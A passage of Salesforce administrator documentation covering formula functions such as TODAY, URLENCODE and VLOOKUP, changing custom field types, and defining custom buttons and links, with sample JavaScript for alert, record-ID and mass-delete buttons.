VALUE(LEFT(TEXT(Quantity), 5)) * Unit > 10000 multiplies the first five numbers of the Quantity picklist by the Unit numeric field, and returns TRUE if

the result is greater than 10,000. Directly Compare Two Picklists


TEXT(bug_status) = TEXT(case_status) compares the values of the bug_status

picklist with values of the case_status picklist, and returns TRUE if they are equal. Tips: The returned text is not formatted with any currency, percent symbols, or commas. Values are not sensitive to locale. For example, 24.42 EUR are converted into the number 24.42. Percents are returned in the form of a decimal. Dates are returned in the form of YYYY-MM-DD, that is, a four-digit year and two-digit month and day. Date/time values are returned in the form of YYYY-MM-DD HH:MM:SSZ where YYYY is a four-digit year, MM is a two-digit month, DD is a two-digit day, HH is the two-digit hour, MM are the minutes, SS are the seconds, and Z represents the zero meridian indicating the time is returned in UTC time zone. Picklist fields are only supported in TEXT functions used in validation rule formulas, formula fields, and field updates. In other formulas, use ISPICKVAL or CASE when referencing a picklist field. The TEXT function always returns picklist values in your organization's master language, not the language of the current user.

TODAY Description: Use: Returns the current date as a date data type.
TODAY()

1157

Customize

Operators and Functions

Example:

TODAY()-Date_in_approval__c calculates how many days a contract is in the

approval process. This example is a number formula field on contracts that uses a custom date field called Date in approval. Validation Rule Example:
CloseDate < TODAY()

This example ensures that users cannot change the Close Date of an opportunity to any date in the past. Tips: Do not remove the parentheses. Keep the parentheses empty. They do not need to contain a value. Use a date field with a TODAY function instead of a date/time field. Last Activity Date is a date field whereas Created Date and Last Modified Date are date/time fields. See NOW if you prefer to use a date/time field. Dates and times are always calculated using the users time zone. Use addition and subtraction operators with a TODAY function and other date fields to return a number, representing number of days. For example TODAY()-LastActivityDate calculates the number of days since the last activity date. In this example, the formula field data type is a number. Use addition and subtraction operators with a TODAY function and numbers to return a date. For example TODAY() +5 calculates the date five days ahead of today. In this example, the formula field data type is a date.

TRIM Description: Use: Example: Removes the spaces and tabs from the beginning and end of a text string.
TRIM(text) and replace text with the field or expression you want to trim. TRIM(LEFT(LastName,5))& "-" & RIGHT(FirstName, 1) returns a network

ID for users that contains the first five characters of their last name and first character of their first name separated by a dash.

UPPER Description: Use: Converts all letters in the specified text string to uppercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided.
UPPER(text, [locale]) and replace text with the field or expression you wish to convert to uppercase, and locale with the optional two-character ISO language code

or five-character locale code, if available. For information on supported languages, see What languages does Salesforce support? on page 3099. Example: SALESFORCE.COM
UPPER("salesforce.com") returns SALESFORCE.COM.

SALESFORCE.COM 123
UPPER("Salesforce.com 123") returns SALESFORCE.COM 123.

Applying Turkish Language Locale Rules

1158

Customize

Operators and Functions

The Turkish language has two versions of the letter i: one dotted and one dotless. The locale rules for Turkish require the ability to capitalize the dotted i, and allow the dotless I to be lowercase. To correctly use the UPPER() function with the Turkish language locale, use the Turkish locale code tr in the UPPER() function as follows:
UPPER(text, "tr")

This ensures that Salesforce does not transform any dotted i in the text to a dotless I.

URLENCODE Description: Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank spaces are replaced with %20, and exclamation points are replaced with %21.
{!URLENCODE(text)} and replace text with the merge

Use: Example:

field or text string that you want to encode. If the merge field foo__c contains <B>Mark's page<b>, {!URLENCODE(foo_c)} results in:
%3CB%3EMark%27s%20page%3C%2Fb%3E

Tips:

Custom buttons and links with URL content sources have separate encoding settings. If you use the URLENCODE function to encode a custom button or link that has an encoding setting specified, Salesforce first encodes the URL according to the custom button or link setting, then encodes the result. For example, if the URL in a custom link contains a space and its encoding setting is UTF8, Salesforce first encodes the space to a plus sign (+), then the URLENCODE function converts the plus sign to its character code, %2B. When you include the standard Account field on opportunities (Opportunity.Account) in the URLENCODE function, the value of the field is the account ID, not the account name. To encode the account name, create a custom cross-object formula field on opportunities that spans to the account name, and use that field in the URLENCODE function instead of Opportunity.Account. For example, if the cross-object formula is AccountNameFormula__c, use the following:
http://www.google.com/search?q={!URLENCODE (Opportunity.AccountNameFormula__c)}

1159

Customize

Operators and Functions

URLFOR Description: Returns a relative URL for an action, s-control, Visualforce page, or a file in a static resource archive in a Visualforce page. External websites can use absolute URLs for use in certain Visualforce components, such as <flow:interview>.
{!URLFOR(target, id, [inputs], [no override])} and replace target with the URL or action, s-control, or static resource merge variable, id with a reference to the record, and inputs with any optional parameters. The no override argument

Use:

is also optional and defaults to false. It applies to targets for standard Salesforce pages such as $Action.Account.New. Replace no override with true when you want to display a standard Salesforce page regardless of whether you have defined an override for it elsewhere. To access a Visualforce page, simple enter the name of your page preceeded by an apex/. For example, if your Visualforce page is named myTestPage, you would use {!URLFOR("apex/myTestPage"}. Visualforce Example:
<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width="50" height="50" />

In this example, the <apex:image> component references a .jpg file contained within a .zip file that has been uploaded as a static resource. When uploaded, the name of the static resource was defined as TestZip, and the path to the image within the resource is images/Bluehills.jpg. Tips: Use global variables to access special merge fields for actions, s-controls, and static resources. If an input parameter name begins with any character other than a letter or dollar sign ($), enclose it in quotation marks. Enclose multiple inputs in brackets to indicate they are together:
{!URLFOR($Action.Case.View, Case.Id, [parm1="A", parm2="B"])}

Set inputs to null if you do not have any to pass yet you want to set the no override argument:
{!URLFOR($Action.Case.View, Case.Id, null, true)}

When you override a standard action, that action is no longer available in Salesforce. For example, if you override the new account action, that affects the New button on all pages such as the account detail page, account related lists on other detail pages, and the Create New drop down list in the sidebar. To override a standard action yet still access it, use the no override argument in your s-control to reference that action. When you override the tab home page for a standard or custom tab, set target to the Tab $Action global variable and id to the object type. For example,
URLFOR($Action.Account.Tab, $ObjectType.Account)

This function is only available in custom buttons, links, s-controls, and Visualforce pages.

1160

Customize

Operators and Functions

VALUE Description: Use: Example: Converts a text string to a number.


VALUE(text) and replace text with the field or expression you want converted into

a number. Lead Number


VALUE(Lead_Number__c) returns a number for the text value in the auto-number field Lead Number. This can be useful if you want to use the Lead Number field in

a calculation. Note that auto-number fields are actually text fields and must be converted to a number for numeric calculations. Round Robin Lead Assignment
MOD(VALUE(Lead_Number__c), 3)

This formula is for a custom formula field named Round_Robin_ID that assigns each lead a value of 0, 1, or 2. This formula uses a custom auto-number field called Lead Number that assigns each lead a unique number starting with 1. The MOD function divides the lead number by the number of lead queues available (three in this example) and returns a remainder of 0, 1, or 2. Use the value of this formula field in your lead assignment rules to assign lead records to different queues. For example: Tips: Round_Robin_ID = 0 is assigned to Queue A Round_Robin_ID = 1 is assigned to Queue B Round_Robin_ID = 2 is assigned to Queue C

Make sure the text in a VALUE function does not include any special characters other than a decimal point (period) or minus sign (dash). For example, the formula VALUE(Text_field__c) produces these results: If Text If Text If Text If Text
field is 123, the result is 123 field is blank, the result is #Error! field is $123, the result is #Error! field is EUR123, the result is #Error!

VLOOKUP Description: Use: Returns a value by looking up a related value on a custom object similar to the VLOOKUP() Excel function.
VLOOKUP(field_to_return, field_on_lookup_object, lookup_value) and replace field_to_return with the field that contains the value you want returned, field_on_lookup_object with the field on the related object that contains the value you want to match, and lookup_value with the value you want to match.

Validation Rule Example:

This example checks that a billing postal code is valid by looking up the first five characters of the value in a custom object called Zip_Code__c that contains a record for every valid zip code in the US. If the zip code is not found in the Zip_Code__c

1161

Customize

Operators and Functions

object or the billing state does not match the corresponding State_Code__c in the Zip_Code__c object, an error is displayed.
AND( LEN(BillingPostalCode) > 0, OR(BillingCountry = "USA", BillingCountry = "US"), VLOOKUP( $ObjectType.Zip_Code__c.Fields.State_Code__c, $ObjectType.Zip_Code__c.Fields.Name, LEFT(BillingPostalCode,5)) <> BillingState )

Note: Use this example when the billing country is US or USA. You can download US zip codes in CSV file format from http://zips.sourceforge.net.

Tips:

The field_to_return must be an auto number, roll-up summary, lookup relationship, master-detail relationship, checkbox, date, date/time, email, number, percent, phone, picklist, text, text area, or URL field type. The field_on_lookup_object must be the Record Name field on a custom object. The field_on_lookup_object and lookup_value must be the same data type. If more than one record matches, the value from the first record is returned. The value returned must be on a custom object. You cannot delete the custom field or custom object referenced in this function. This function is only available in validation rules.

YEAR Description: Use: Example: Returns the four-digit year in number format of a given date.
YEAR(date) and replace date with the field or expression that contains the year you

want returned.
YEAR(TODAY())- YEAR(Initial_Meeting__c) returns the number of years since your initial meeting with a client. This example uses a custom date field called Initial Meeting.

See Also:
Examples of Advanced Formula Fields About Formulas Building Formulas

1162

Customize

Changing Custom Field Type

Changing Custom Field Type


Available in: All Editions Standard Objects are not available in Database.com

User Permissions Needed To change custom fields: Customize Application

To change the data type of an existing custom field: 1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Fields. 2. For fields on Salesforce Knowledge article types, click Your Name > Setup > Customize > Knowledge > Article Types and select an article type. The article-type detail page has a Fields related list. 3. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 4. Click Edit next to the custom field you want to change. 5. Click Change Field Type. 6. Select a new data type and click Next. 7. Enter a field label, name, any other attributes, and click Save. For more information, see Notes on Changing Custom Field Types on page 1163.

See Also:
Notes on Changing Custom Field Types About Roll-Up Summary Fields

Notes on Changing Custom Field Types


Consider the following before converting fields: Only convert custom fields for which no data exists or you risk losing your data. Changing the data type of an existing custom field can cause data loss in the following situations: Changing to or from type Date or Date/Time Changing to Number from any other type Changing to Percent from any other type Changing to Currency from any other type Changing from Checkbox to any other type Changing from Picklist (Multi-Select) to any other type Changing to Picklist (Multi-Select) from any other type

1163

Customize

Changing Custom Field Type

Currently defined picklist values are retained when you change a picklist to a multi-select picklist. If records contain values that are not in the picklist definition, those values will be deleted from those records when the data type changes. Changing from Auto Number to any other type Changing to Auto Number from any type except Text Changing from Text Area (Long) to any type except Email, Phone, Text, Text Area, or URL If data is lost, any list view based on the custom field will be deleted, and assignment and escalation rules may be affected. If you change the data type of any custom field that is used for lead conversion, that lead field mapping will be deleted. If you change the data type of a custom field that is set as an external ID, choosing a data type other than text, number, or email will cause the field to no longer act as an external ID. The option to change the data type of a custom field is not available for all data types. For example, existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data type. In Salesforce Knowledge article types, the file field type can't be converted into other data types. You cannot change the data type of a custom field that is referenced by a Visualforce page. For descriptions of other attributes you can set, see Custom Field Attributes on page 988. Changing a custom field type may require changing a large number of records at once. To process these changes efficiently, Salesforce may queue your request and send an email notification when the process has completed.

The following data types have additional restrictions when you convert them: Data Type Auto Number Description The data in any auto-number field remains unchanged if you convert it into a text field. Also, you can safely convert a text custom field into an auto-number field without losing your data. Converting an auto-number field into any other data type results in data loss. Auto-number fields can contain a maximum of 30 characters. Before converting a text custom field into an auto-number field, change any records that contain more than 30 characters in that field. Formula fields are special read-only fields that cannot be converted to any other data type. Likewise, you cannot convert any other field type into a formula field. Changing your custom picklists into custom checkboxes is simple. If you select Checkbox as the new data type, you can choose which picklist values to map to checked boxes and unchecked boxes. You can change custom picklists into multi-select picklists without losing any data. Since your records only contain a single value of that picklist, that value will still be selected but users can select additional values. You can also change a picklist custom field into a text custom field or a text custom field into a picklist custom field without any data loss. If your organization has a large number of records, Salesforce displays a waiting page after you have requested to change a master-detail into a lookup relationship or a lookup into a master-detail relationship.

Formula

Picklist

Relationships

1164

Customize

Setting Custom Buttons and Links

Data Type

Description After you have created a roll-up summary field on an object, you cannot convert the object's master-detail relationship into a lookup relationship. A lookup cannot be converted to a master detail relationship if there are any existing records on the object that have a null value set for the lookup relationship.

Text Area (Long)

When you convert a long text area field to an Email, Phone, Text, Text Area, or URL type field, the data in your records is truncated to the first 255 characters of the field. You can only convert rich text area fields into long text area fields. Any images are deleted the next time the long text area field is saved.

Text Area (Rich)

Note: You cannot change the data type of a custom field if it is referenced in an Apex script. For more information, see Apex Code Overview on page 1825.

See Also:
Custom Field Attributes

Setting Custom Buttons and Links


Available in: All Editions except Database.com

User Permissions Needed To create or change custom buttons and links: Customize Application

Create custom buttons and links to integrate Salesforce data with external URLs, applications, your companys intranet, or other back-end office systems. Custom links can link to: An external URL, such as www.google.com or your companys intranet A custom s-control in the custom s-control library, such as a Java applet or Active-X control

Custom buttons can: Connect users to external applications, such as a web page that displays a map to a contact's address Run an s-control from the s-control library, such as an s-control that escalates a case from the case detail page Launch custom links

1165

Customize

Setting Custom Buttons and Links

For both custom links and buttons, you can choose the display window properties that determine how the target of a link or button is displayed to your users. Custom links and s-controls can include Salesforce fields as tokens within the URL or custom s-control. For example, you could include an account name in a URL that searches Yahoo: http://search.yahoo.com/bin/search?p={!Account_Name}. In addition, s-controls can include operators and functions. In addition, you can override the default action of some standard buttons and customize the behavior of tab home pages to suit your organization's needs. For more information, see Overriding Standard Buttons and Tab Home Pages on page 1172.

See Also:
Defining Custom Buttons and Links Adding Default Custom Links About S-Controls Administrator tip sheet: Building Salesforce Custom Links

Defining Custom Buttons and Links


Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom buttons or links: Customize Application

Before creating a custom button or link, determine what action you want to occur when a user clicks it. Consider a Visualforce page if you want the button or link to launch a custom page or other code. To define custom buttons and links: 1. Select Your Name > Setup > Customize, select the appropriate tab or users link, and choose Buttons and Links. Custom buttons are not available on the user object or custom home pages. Custom buttons and links are available for activities under the individual setup links for tasks and events. However, you can override a button that applies to both tasks and events by clicking Your Name > Setup > Customize > Activities > Activity Buttons. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 2. Click New from the Custom Buttons and Links section. 3. Enter the following attributes: Attribute Name
Label

Description The text that displays on user pages for the custom button or link.

1166

Customize

Setting Custom Buttons and Links

Attribute Name
Name

Description The unique name for the button or link used when referenced from a merge field. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce organizations. It keeps your managed package under your control exclusively. organization. A developer can delete a protected component in a future release without worrying about failing installations. However, once a component is marked as unprotected and is released globally, the developer cannot delete it.

Namespace Prefix

Protected Component Protected components cannot be linked to or referenced by components created in a subscriber

Description

Text that distinguishes the button or link from others. This displays only to administrators when setting up buttons and links. Determines where the button or link is available on page layouts: Detail Page Link Select this option if you want to add the link to the Custom Links section of your page layouts. Detail Page Button Select this option if you want to add the custom button to a record's detail page. You can only add detail page buttons to the Button Section of a page layout. List Button Select this option if you want to add the custom button to a list view, search result layout, or related list. You can only add list buttons to the Related List Section of a page layout or the List View and Search Result layouts. For list buttons, Salesforce automatically selects a Display Checkboxes (for Multi-Record Selection) option that includes a checkbox next to each record in the list, allowing users to select the records they want applied to the action on the list button. Deselect this option if your custom button does not require the user to select records such as one that quickly navigates the user to another page.

Display Type

Behavior

Choose the outcome of clicking the button or link. When applicable, some settings have default values. For example, if you choose Display in new window, the default height of a new window is 600 pixels. To change these settings, see Editing Window Open Properties on page 1169.

Content Source

Choose whether to use a URL, s-control, JavaScript action, or Visualforce page as the content of the button or link. To use an s-control, choose Custom S-Control, and select the s-control from the drop-down list. To use a URL, select URL, and enter the link below in the text area box exactly as it would appear in the address bar of a Web browser. To execute JavaScript code when the button or link is activated, select OnClick JavaScript, and enter the code in

1167

Customize

Setting Custom Buttons and Links

Attribute Name

Description the text area box below. To use a Visualforce page, select Visualforce Page, and choose the page from the drop-down list. Note: Visualforce pages used as custom links on the home page cannot specify a controller. Visualforce pages used as custom buttons or links on detail pages must specify a standard controller of the same object. Visualforce pages used as custom list buttons must use a standard list controller of the same object.

Content

Enter the content of the button or link for buttons and links of type URL or OnClick JavaScript: To insert a field, choose the field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list. To insert activity merge fields, select Event or Task from the Select Field Type drop-down list. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the examples in Operators and Functions on page 1107. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function to view a description and examples of formulas using that function. Tip: Internet standards require special encoding for URLs. Salesforce automatically encodes the text from any merge field you insert into a link. Encode any additional text in your link manually. For example, to generate the following URL:
http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:


http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce automatically strips double quotes from URLs when the Content Source is URL. If you need to use double quotes, encode them manually. For example, to generate the URL http://www.google.com/search?q="salesforce+foundation", use this content:
http://www.google.com/search?q=%22salesforce+foundation%22. Link Encoding

Encoding setting that defaults to Unicode (UTF-8). Change the default encoding setting if the target of a link requires data in a different format. This is available if your Content Source is URL.

1168

Customize

Setting Custom Buttons and Links

4. Optionally, click Check Syntax to validate all Salesforce merge fields and functions. 5. Click Save when you are finished. Click Quick Save to save and continue editing. Click Preview to view the URL specified. Click Cancel to quit without saving your content. 6. Edit the page layout for the appropriate tab or search layout to display the new button or link. If you add a custom link for users, it is automatically added to the Custom Links section of the user detail page. Detail page buttons can only be added to the Button Section of a page layout. 7. Optionally, set the window properties if you prefer the link or button opening using different settings than the user's default browser settings. Note: The Link URL can be up to 3000 bytes. When data is substituted for the tokens in the URL, the link may exceed 3000 bytes. Your browser may enforce additional limits for the maximum URL length.

See Also:
Custom Button Considerations Viewing References to Salesforce Components Useful Custom Buttons and Links Editing Window Open Properties Adding Default Custom Links Overriding Standard Buttons and Tab Home Pages

Editing Window Open Properties


Available in: All Editions except Database.com S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit custom button or link properties: Customize Application

Custom buttons and links can open in different types of windows. If you have selected a custom button or link to open in a popup window, set the window properties. If you leave the window properties blank, the custom button or link will use the default settings of the users browser. To edit the window open properties: 1. Select the custom button or link by clicking Your Name > Setup > Customize, selecting the appropriate tab or users link, clicking Buttons and Links, and selecting the button or link name. Custom buttons are not available on the user object. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 2. Click Window Open Properties.

1169

Customize

Setting Custom Buttons and Links

3. Edit the following properties: Window Property


Width Height Window Position Resizeable Show Address Bar Show Scrollbars Show Toolbars

Description The width (in pixels) of the popup. The height (in pixels) of the popup. The location on the screen where the popup should open. Allow users to resize the popup window. Show the browsers address bar which contains the URL. Show browser scrollbars for the popup. Show the browser toolbars. Toolbars normally contain navigation buttons like Back, Forward, and Print. Show the browser menus. The menus typically contain option like File and Edit. Show the status bar at the bottom of the browser.

Show Menu Bar

Show Status Bar

Note: Some properties may not be available depending on the Behavior of the custom button or link. For example, if you chose Execute JavaScript, no window open properties are available.

See Also:
Defining Custom Buttons and Links

Custom Button Considerations


Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom buttons or links: Customize Application

Review the following implementation notes and best practices for custom buttons: Implementation Notes Custom buttons display at the top and bottom of the detail page to the right of all standard buttons.

1170

Customize

Setting Custom Buttons and Links

You can include s-controls in any field section on your page layout to display the s-control content inline without requiring users to click a button or link to see it. Simply edit the page layout, choose the s-control, and drag it to any section on the page layout. If your custom link references a URL, create a custom s-control that references that URL so you can include the s-control directly on your page layout. Custom buttons are not distinguished from standard buttons in any graphical way. However, you can recognize them by their location on the right of all standard buttons. If the button bar gets too wide on the detail page layout, the browser displays a horizontal scroll bar. If the button bar gets too wide on the list view, search result, tagging result, or related list layouts, the buttons wrap. Custom buttons are available for activities under the individual setup links for tasks and events. To add a custom button to an activity list view or search layout, first create a custom list button in tasks or events. Next, add it to your activity list view or search result layouts. To override a button that applies to both tasks and events, click Your Name > Setup > Customize > Activities > Activity Buttons. Custom buttons are not available for Web-to-Lead, Web-to-Case, the Case Teams related list, or the user object. If your organization uses person accounts, your person account records use any custom buttons and links you have made for accounts. Use the person account page layouts to edit any custom links or detail page buttons for person account records. To customize the list view or search result layouts for person accounts, edit the account list view and search result layouts where you access account search layouts. If your organization uses the Console tab, list buttons are available in the Mass Action drop-down list. List buttons will not display in the mini page layouts. Pages that display due to custom buttons and links display in the console without the header or sidebar. If you get an error message when overriding a button that appears in a list, try calling the s-control using the URLFOR function. When creating custom buttons, be mindful of any validation rules your organization has for records on that object. For example, a custom list button that changes case status may conflict with a case validation rule. In this scenario, Salesforce displays the error message for the validation rule when users click the custom button. If you want to replace a standard button with a custom button, first define the custom button, then customize the page layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page Layouts.

Best Practices Use formula functions in s-controls or custom buttons with caution. Because functions run on the server before your HTML or JavaScript is passed to the browser, they can only evaluate information that exists at that time. Avoid using functions like IF to evaluate conditions that only exist when the code reaches the browser, such as the value of a JavaScript variable that is returned from your code. To prevent a user from performing a particular action, such as creating or editing, change the user's permissions rather than hiding the standard button. Hiding a standard button removes it from a page layout but the link is still available and users can navigate to the new or edit page manually. Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example, the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button. To insert activity merge fields, select Event or Task from the Select Field Type drop-down list. Do not select the Display Checkboxes (for Multi-Record Selection) option for list buttons that link to a URL that does not support post operations. Checkboxes display next to records in a list if you have selected the Display Checkboxes (for Multi-Record Selection) option for at least one list button in that list. However, selected records in this list are unaffected when clicking a custom list button that does not have this option selected.

1171

Customize

Setting Custom Buttons and Links

For considerations on overriding standard buttons, see Overriding Standard Buttons and Tab Home Pages on page 1172.

See Also:
Defining Custom Buttons and Links Useful Custom Buttons and Links

Adding Default Custom Links


Available in: All Editions except Database.com

User Permissions Needed To create or change custom links: Customize Application

To add any of the predefined custom links: 1. 2. 3. 4. 5. 6. Select Your Name > Setup > Customize, select the appropriate tab link, and choose Buttons and Links. Click Default Custom Links. Click Add Now! next to a sample link you want to add. Change any of the default data for the link, as necessary. Choose Save. Edit the page layout for the appropriate tab to display the new link. See Managing Page Layouts on page 1188.

See Also:
Defining Custom Buttons and Links

Overriding Standard Buttons and Tab Home Pages


Available in: Enterprise, Unlimited, and Developer Editions Visualforce overrides also available in: Contact Manager, Group, and Professional Editions

User Permissions Needed To override standard buttons and tab home pages: To reset button and tab home page overrides: Customize Application Customize Application

Salesforce lets you override the behavior of standard buttons on record detail pages. In addition, you can override the tab home page that displays when a user clicks a standard or custom object tab.

1172

Customize

Setting Custom Buttons and Links

To override a standard button or a tab home page: 1. Before you override a standard button, review the considerations for overriding standard buttons. 2. Navigate to the appropriate override page: For standard objects, click Your Name > Setup > Customize, select the appropriate object or tab link, then click Buttons and Links. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

In the Standard Buttons and Links related list, click Edit next to the button or tab home page you want to override. Note: Since events and tasks don't have their own tabs, you can only override their standard buttons and links.

3. Pick the type of override you want associated with the action: No Override (use default)Use a custom override provided by an installed package. If there isn't one installed, the standard Salesforce behavior is used. Standard Salesforce PageThis option is only available for subscribers who are overriding the actions on an installed custom object. If selected, the standard Salesforce behavior is used. Custom S-ControlUse the behavior from an s-control. S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Visualforce PageUse the behavior from a Visualforce page.

4. Select the name of the s-control or Visualforce page you want to run when users click the button or tab. When overriding buttons with a Visualforce page, only Visualforce pages that use the standard controller for the object on which the button appears can be selected. For example, if you want to use a page to override the Edit button on accounts, the page markup must include the standardController="Account" attribute on the <apex:page> tag:
<apex:page standardController="Account"> ... page content here ... </apex:page>

When overriding tabs with a Visualforce page, only Visualforce pages that use the standard list controller for that tab, pages with a custom controller, or pages with no controller can be selected. When overriding lists with a Visualforce page, only Visualforce pages that use a standard list controller can be selected. When overriding the New button with a Visualforce page, you also have the option to skip the record type selection page. If selected, any new records you create won't be forwarded to the record type selection page, since it assumes that your Visualforce page is already handling record types. 5. Optionally, enter any comments to note the reason for making this change. 6. Click Save. Button overrides are global throughout Salesforce because overrides control the action behind the button. For example, if you override the New button on opportunities, your replacement action takes effect wherever that action is available: The Opportunities tab home page Any Opportunities related lists on other objects such as accounts

1173

Customize

Setting Custom Buttons and Links

The Create New drop-down list in the sidebar Any browser bookmarks for this Salesforce page

To remove an override: 1. Click Your Name > Setup > Customize, select the appropriate object or tab link, and then click Buttons and Links. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 2. Click Edit next to the override. 3. Select No Override (default behavior). 4. Click OK.

See Also:
Useful S-Controls Defining Custom Buttons and Links

Considerations for Overriding Standard Buttons


Available in: Enterprise, Unlimited, and Developer Editions Visualforce overrides also available in: Contact Manager, Group, and Professional Editions

User Permissions Needed To override standard buttons: Customize Application

Before you override a standard button, review the following considerations: You can override a standard button to run an s-control. To learn more about creating s-controls, see Defining Custom S-Controls on page 1944. You can also override a standard button with a Visualforce page. To learn more about creating Visualforce pages, see Defining Visualforce Pages on page 1924. If you override a standard button in Salesforce, that button is still available in Connect Offline or Salesforce Mobile, but it retains its original behavior. You cannot add button overrides to a Force.com AppExchange package. Only some standard buttons can be overridden. For example, you cannot override the Save or Sharing buttons, but you can override New, View, Edit, and Delete buttons. The View standard button refers to all of the links in Salesforce that display the detail page for a record. Overriding the View standard button reroutes all of these links. If a button is not available for overrides, you can still hide it on the page layout. Button overrides affect everywhere that action or behavior is available. For example, overriding the New button on an account also overrides the account option in the Create New drop-down list in the sidebar. You can override buttons on the detail page but not the edit page of a record.

1174

Customize

Setting Custom Buttons and Links

Buttons on lookup dialogs and tabs cannot be changed. However, you can change the buttons on list view and search result layouts under search layouts. Buttons on reports cannot be changed. Some standard buttons can be overridden, but none can be relocated on the detail page or relabeled. If your organization uses person accounts, your person account records use any standard button overrides you have made for accounts. Your person account records also use any overrides for the View Self-Service and Enable Self-Service buttons you have made for contacts. If your organization uses the Console tab, overrides for the Edit and View buttons for an object do not affect the Edit and View buttons in the mini page layouts. Pages that display due to overrides display in the console without the header or sidebar. If you want to replace a standard button with a custom button, first define the custom button, then customize the page layout to hide the standard button and display the custom one in its place. For more information, see Customizing Page Layouts.

See Also:
Overriding Standard Buttons and Tab Home Pages

Viewing References to Salesforce Components


Custom buttons and links are available in: All Editions S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Visualforce pages and custom components available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom buttons or links: To create, edit, and delete custom s-controls: To create, edit, and delete Visualforce pages and custom components: To clone, edit, or delete static resources: Customize Application Customize Application Customize Application Customize Application

You can view a list of all the areas in Salesforce that reference a component. For example, view the custom links, custom buttons, or page layouts that reference a custom s-control. To do this, click Where is this used? from the detail page of the

1175

Customize

Setting Custom Buttons and Links

component. Salesforce lists the type of component that references the component and the label for that component. Click any item in the list to view it directly.

See Also:
What is a Static Resource? Defining Custom Buttons and Links Custom Button Considerations About S-Controls Visualforce Overview What is a Custom Component?

Useful Custom Buttons and Links


User Permissions Needed To create or change custom buttons or links: Customize Application

Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Use the following samples to get started using custom buttons and links: Simple Custom Buttons Custom List Buttons

See Also:
Defining Custom Buttons and Links Custom Button Considerations

Simple Custom Buttons


Displaying Alerts You may want to display a simple alert window with text. In this example, the custom button displays a popup dialog with a welcome message containing the user's first name, using the !$User.FirstName merge field. 1. Define a custom button with the following attributes:
Display Type is Detail Page Button Behavior is Execute JavaScript Content Source is OnClick JavaScript

1176

Customize

Setting Custom Buttons and Links

Use the following sample code:


alert ("Hello {!$User.FirstName}");

2. Add the button to the appropriate page layout. Getting Record IDs You may want to define a custom button that opens a popup window to display a list of record IDs for the records a user has selected in a list. This is useful when testing to determine if you are getting the record IDs correctly before processing them with a more complex process. 1. Define a custom list button with the following attributes:
Display Type is List Button

Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures that users can select any number of records in the list before clicking the button.
Behavior is Execute JavaScript Content Source is OnClick JavaScript

Use the following sample code:


idArray = {!GETRECORDIDS($ObjectType.Contact)}; alert("The Ids you have selected are: "+idArray);

Note: This example is for contacts. Change the object type for a different type of record.

2. Add the button to the appropriate related list on a page layout or list view layout.

Custom List Buttons


Mass Delete Your busy users may want to delete more than one record in a list view or related list with a single click. Create the following custom list button and add it your activity related lists and list views: 1. Define a custom list button for events with the following attributes:
Display Type is List Button

Note: The Select Display Checkboxes (for Multi-Record Selection) option automatically selected ensures that users can select any number of records in the list before clicking the button.
Behavior is Execute JavaScript Content Source is OnClick JavaScript

Use the following sample code:


{!REQUIRESCRIPT("/soap/ajax/9.0/connection.js")}

1177

Customize

Setting Custom Buttons and Links

var records = {!GETRECORDIDS( $ObjectType.Event )}; var taskRecords = {!GETRECORDIDS( $ObjectType.Task)}; records = records.concat(taskRecords); if (records[0] == null) { alert("Please select at least one record.") } else { var errors = []; var result = sforce.connection.deleteIds(records); if (result && result.length){ var numFailed = 0; var numSucceeded = 0; for (var i = 0; i < result.length; i++){ var res = result[i]; if (res && res.success == 'true'){ numSucceeded++; } else { var es = res.getArray("errors"); if (es.length > 0) { errors.push(es[0].message); } numFailed++; } } if (numFailed > 0){ alert("Failed: " + numFailed + "\nSucceeded: " + numSucceeded + " \n Due to: " + errors.join("\n")); } else { alert("Number of records deleted: " + numSucceeded); } } window.location.reload(); }

